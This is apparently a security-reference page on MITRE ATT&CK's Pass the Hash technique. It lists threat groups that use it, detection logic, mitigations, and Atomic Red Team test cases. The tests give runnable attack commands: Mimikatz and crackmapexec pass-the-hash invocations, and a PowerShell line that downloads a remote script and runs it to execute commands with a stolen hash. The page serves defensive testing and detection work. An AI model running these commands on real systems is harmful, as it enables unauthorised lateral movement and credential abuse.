tfMITRE ATT&CK sub-technique

Pass the Hash T1550.002

sub-technique of T1550 Use Alternate Authentication Material

Tactic: Lateral Movement
Platform: Windows
Version: 2.0
Created: 30 January 2020
Last modified: 12 May 2026
Contributors: Blake Strom, Microsoft 365 Defender; Travis Smith, Tripwire

Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 17%

Threat groups83rd percentile · 83% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 12%

Campaigns88th percentile · 88% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware72nd pct

Tools & malware72nd percentile · 72% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rules67th pct

Detection rules67th percentile · 67% of ATT&CK techniques have this many detection rules written or fewer.

Pass the Hash MITRE reference T1550.002

Top 17%of all ATT&CK techniques for number of groups

11 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

FIN13G1016 ↗

Has used the PowerShell utility Invoke-SMBExec to execute the pass the hash method for lateral movement within an compromised environment.1

created 2023-07-271 referenceaka Elephant Beetle

Ember BearG1003 ↗

Has used pass-the-hash techniques for lateral movement in victim environments.1

created 2022-06-091 referenceaka UNC2589

Aquatic PandaG0143 ↗

Used a registry edit to enable a Windows feature called RestrictedAdmin in victim environments. This change allowed Aquatic Panda to leverage "pass the hash" mechanisms as the alteration allows for RDP connections with a valid account name and hash only, without possessing a cleartext password value.1

created 2022-01-181 reference

ChimeraG0114 ↗

Has dumped password hashes for use in pass the hash authentication attacks.1

created 2020-08-241 reference

Wizard SpiderG0102 ↗

Has used the Invoke-SMBExec PowerShell cmdlet to execute the pass-the-hash technique and utilized stolen password hashes to move laterally.1

created 2020-05-121 referenceaka UNC1878

APT41G0096 ↗

Uses tools such as Mimikatz to enable lateral movement via captured password hashes.1

created 2019-09-231 referenceaka Wicked Panda

All 11 groups for this technique · 6 newest in this preview

Offense vs defense T1550.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 6Splunk ESCU (cumulative) · 0

first rule: 2017 Q1 · 2 of 3 campaigns plotted (Night Dragon (dated 2009) falls before the 2014 window)

Pass the Hash detection strategy DET0409

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detection Strategy for T1550.002 - Pass the Hash (Windows)

Enterprise

1 platform

AN1144 · Windows

Detects anomalous NTLM LogonType 3 authentications that occur without accompanying domain logon events, especially from lateral systems or involving built-in administrative tools. Monitors for mismatches between source user context and system being accessed. Correlates LogonSession creation, NTLM authentications, and process/service initiation to identify suspicious use of stolen password hashes for remote access or service logon without password entry. Detects overpass-the-hash by combining Kerberos ticket issuance with NTLM-based lateral movement.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
Logon Session CreationDC0067	WinEventLog:Security	EventCode=4624, 4648
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Active Directory Credential RequestDC0084	WinEventLog:Security	EventCode=4768

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Allows tuning the correlation timeframe between authentication, session creation, and process/network activity.
SourceAccountAnomalyThreshold	Supports tuning detection sensitivity based on deviations from normal user login patterns or usage context.
LogonTypeFilter	Allows focusing detection on specific logon types (e.g., LogonType 3 for network logon, Type 10 for RDP).

1 analytic

The successful use of Pass The Hash for lateral movement between workstations would trigger event ID 4624, with an event level of Information, from the security log. This behavior would be a LogonType of 3 using NTLM authentication where it is not a domain logon and not the ANONYMOUS LOGON account.

TypeSituational AwarenessCoverageModerateSubmitted2016

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-LAM	Local Account Monitoring

Implementations

Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.

This analytic will look for remote logins, using a non domain login, from one host to another, using NTL authentication where the account is not "ANONYMOUS LOGON".

EventCode == 4624 and [target_user_name] != "ANONYMOUS LOGON" and
[authentication_package_name] == "NTLM"

Unit tests

CAR’s own validation procedures for this analytic.

As an adminstrator, create a new user. Then, logon to the host with that new user. This is generate the event.

["net user 'test' 'test' /add"]

Privileged Account ManagementM1026

Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.

Update SoftwareM1051

Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.

User Account ControlM1052

Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy. Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.

User Account ManagementM1018

Do not allow a domain user to be in the local administrator group on multiple systems.

Tests3Executorscmd 2 · PowerShell 1Need elevation0 of 3Have prerequisites2Have cleanup0Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Mimikatz Pass the Hash

windows

cmd

—

Note: must dump hashes first Reference

Input arguments

Name	Type	Default	Description
ntlm	string	cc36cf7a8514893efccd3324464tkg1a	ntlm hash
domain	string	%userdnsdomain%	domain
user_name	string	Administrator	username
mimikatz_path	path	%tmp%\mimikatz\x64\mimikatz.exe	mimikatz windows executable

Attack command

#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"

Prerequisite

Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

Check

$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}

Satisfy

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

GUIDe925d407-355f-4bef-8fcf-54f8efa48f63

crackmapexec Pass the Hash

windows

cmd

—

command execute with crackmapexec

Input arguments

Name	Type	Default	Description
ntlm	string	cc36cf7a8514893efccd3324464tkg1a	command
domain	string	%userdnsdomain%	domain
command	string	whoami	command to execute
user_name	string	Administrator	username
crackmapexec_exe	path	C:\CrackMapExecWin\crackmapexec.exe	crackmapexec windows executable

Attack command

#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}

Prerequisite

CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})

Check

if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}

Satisfy

Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}

GUID879055a0-5347-4506-a6b3-e3e3331a5602

Invoke-WMIExec Pass the Hash

windows

PowerShell

—

Use Invoke-WMIExec to Pass the Hash Note: must dump hashes first Reference

Input arguments

Name	Type	Default	Description
ntlm	string	cc36cf7a8514893efccd3324464tkg1a	ntlm hash
target	string	$env:COMPUTERNAME	System to run command on
command	string	hostname	Command to run on target system
user_name	string	Administrator	username

Attack command

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}

GUIDe52c1f0d-6719-42d4-8460-89d8d649031b

Tests from Atomic Red Team (MIT licence) · technique definition

Pass the Hash detections T1550.002

6 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

67th pctamong all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs